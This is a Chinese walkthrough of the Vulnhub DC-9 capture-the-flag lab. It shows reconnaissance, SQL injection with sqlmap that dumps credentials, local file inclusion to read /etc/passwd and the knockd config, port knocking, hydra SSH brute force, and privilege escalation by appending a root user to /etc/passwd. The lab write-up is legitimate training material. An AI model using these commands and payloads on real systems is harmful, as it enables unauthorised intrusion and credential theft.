Vulnhub靶场 DC-9

目录

一、环境搭建

二、信息收集

1、主机发现

2、指纹识别

三、漏洞复现

1、dirsearch目录探测

2、sqlmap注入测试

3、文件包含漏洞

4、Knockd敲门服务

5、ssh爆破

​​​​​​​6、提权

四、提取flag

一、环境搭建

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/dc/DC-9.zip

虚拟机:VM虚拟机 或者VBOX 导入即可

网络环境:NAT

介绍:vulnhub是个提供各种漏洞平台的综合靶场,拿到root权限才可以发现最终的flag。

二、信息收集

1 主机发现

nmap -sP 192.168.176.0/24

查看服务

nmap -A -p- -v 192.168.176.145

进入网站192.168.176.145

2、指纹识别

whatweb http://192.168.176.145/

没有发现有用信息

三、漏洞复现

1、dirsearch目录探测

dirsearch -u http://192.168.176.145/ -e php -x 400,404,503,403

http://192.168.176.145/manage.php 后台地址

2、sqlmap 注入 测试

发现搜索页面存在SQL注入,

payload:1' or 1=1 #

现在直接使用sqlmap工具来进行SQL注入攻击

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -dbs

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D users -T UserDetails -C username,password -dump

跑出一些账号密码信息 保存一下 密码如下:

复制代码
| username  | password      |`
`+-----------+---------------+`
`| marym     |` `3kfs86sfd     |`
`| julied    |` `468sfdfsd2    |`
`| fredf     |` `4sfd87sfd1    |`
`| barneyr   | RocksOff      |`
`| tomc      | TC&TheBoyz    |`
`| jerrym    | B8m#48sd      |`
`| wilmaf    | Pebbles       |`
`| bettyr    | BamBam01      |`
`| chandlerb | UrAG0D!`       `|`
`| joeyt     | Passw0rd      |`
`| rachelg   | yN72#dsd      |`
`| rossg     | ILoveRachel   |`
`| monicag   |` `3248dsds7s    |`
`| phoebeb   | smellycats    |`
`| scoots    | YR3BVxxxw87   |`
`| janitor   | Ilovepeepee   |`
`| janitor2  | Hawaii-Five-0` `|`
`

再跑另外一个看一下

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T StaffDetails -dump

sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T Users -C Password,Username -dump

856f5de590ef37314e7c3bdf6f8a66dc | admin

这里跑出一个admin账号,密码是md5加密

也可以输入yes sqlmap自带的库碰撞

MD5免费在线解密破解_MD5在线加密-SOMD5 在线解密网站,成功拿下

密码:transorbital1

3、文件包含 漏洞

看了半天,只看到这个关键词 ,存在文件包含漏洞

http://192.168.176.145/manage.php/?file=//../../../../etc/passwd

到这里 没思路了 上网看了一下思路

回头看 上面nmap扫描的这个22/tcp filtered ssh # 系统默认开放的,但是通过策略关掉了,因为被策略保护 处于关闭状态,Knockd隐藏SSH

但是这里给出的用户,密码信息 应该是可以 爆破一下ssh

4、Knockd敲门服务

4.1.利用LFI看看konckd的配置文件,可以fuzz一下/etc 目录,一般的配置文件都这个目录里。

payload:file=../../../../../etc/knockd.conf

复制代码
[options] UseSyslog [openSSH]` `sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP%` `-p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH]` `sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP%` `-p tcp --dport 22 -j ACCEPT tcpflags = syn`
`​​​​​​​​​​​​​​

找到了 特定的端口信息,7469,8475,9842,按顺序敲敲门

4.2.nmap开启敲门

第一种方法:

复制代码
nmap -p 7469 192.168.176.145`
`nmap -p 8475 192.168.176.145`
`nmap -p 9842 192.168.176.145

第二种方法:

for x in 7469 8475 9842; do nc 192.168.176.145 $x;done

4.3.现在重新nmap扫描服务看看 直接打开了

nmap -A -p- -v 192.168.176.145

​​​​​​​5、ssh爆破

5.1.前面sqlmap跑的一个表 整理成字典

5.2.hy爆破

hydra -L username.txt mark -P pass.txt ssh://192.168.176.145

跑出了两个账户

login: joeyt password: Passw0rd login: janitor password: Ilovepeepee

ssh joeyt@192.168.176.145 -p 22 ssh连接

在janitor用户发现了一个隐藏的文件夹

cd .secrets-for-putin

ls -a

存在一些密码,写入密码字典,继续爆破 之前没有出来的那些账号

5.3.ssh连接fredf

login: fredf password: B4-Tru3-001

​​​​​​​6、提权

接下来提权 查看有无sudo -l权限

sudo -l

发现fredf可以以root的身份执行

(root) NOPASSWD: /opt/devstuff/dist/test/test

是一个python文件 ,文件的意思是,读取第一个文件追加到第二个文件上

利用find指令找到这个python文件

命令:

find / -name "test.py" 2>/dev/null 寻找叫做test.py的文件

接着在/opt/devstuff/发现python源文件:test.py

代码如下:

复制代码
import sys`
`if` `len` `(sys.argv)` `!=` `3 :`
    `print` `("Usage: python test.py read append")`
`    sys.exit` `(1)`
`else :`
`    f =` `open(sys.argv[1],` `"r")`
`    output =` `(f.read())`
`    f =` `open(sys.argv[2],` `"a")`
`    f.write(output)`
`    f.close()`
`

这是一个可以写入文件的一个python程序,我们可以以root权限写入任意一个文件

所以我们接下来要以root权限在/etc/passwd中写入一个具有root权限的用户

因为在/etc/passwd中的密码都是加密过的,我们也要设计一个加密的密码

设置密码命令:

openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin 123456

openssl passwd -1 -salt admin 123456

生成密码:1admin$LClYcRe.ee8dQwgrFc5nz.

先把这些写入临时文件,再用test.py读取文件,追加到passwd里面

1、写入临时文件

复制代码
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash'` `>>/tmp/mm

2、python程序追加到etc/passwd

复制代码
sudo ./test /tmp/mm.txt  /etc/passwd

3、切换用户看看

su admin

4、交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

、提取flag

相关推荐
2601_961963386 小时前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务
科技林总6 小时前
解决vllm服务漏扫问题
python·安全
YM52e6 小时前
男孩子在外自我保护指南——用鸿蒙 ArkTS 构建交互式安全教育应用
学习·安全·华为·harmonyos·鸿蒙·鸿蒙系统
Par@ish7 小时前
【网络安全】Web安全扫描工具Nikto安装和使用详细教程
安全·web安全·ubuntu
namexingyun8 小时前
拆解Fable 5三重安全护栏:模型路由、蒸馏防护与生物安全分类器的技术原理 - 微元算力(weytoken)
java·人工智能·python·安全·架构·ai编程
上海云盾第一敬业销售8 小时前
高效阻止网站攻击的WAF防护架构解析
web安全·架构·ddos
OpenAnolis小助手8 小时前
如何利用 AI Agent 实现热补丁的自动化生成
人工智能·安全·ai·操作系统·agent·龙蜥
一拳一个娘娘腔9 小时前
CVE-2026-31431 — “Copy Fail“ 深度拆解
linux·安全
持敬chijing9 小时前
Web渗透之前后端漏洞-文件包含漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
terry6009 小时前
2026图形验证码服务商横向测评|口碑、接入、安全选型全指南
java·大数据·人工智能·web安全·信息与通信·数据库架构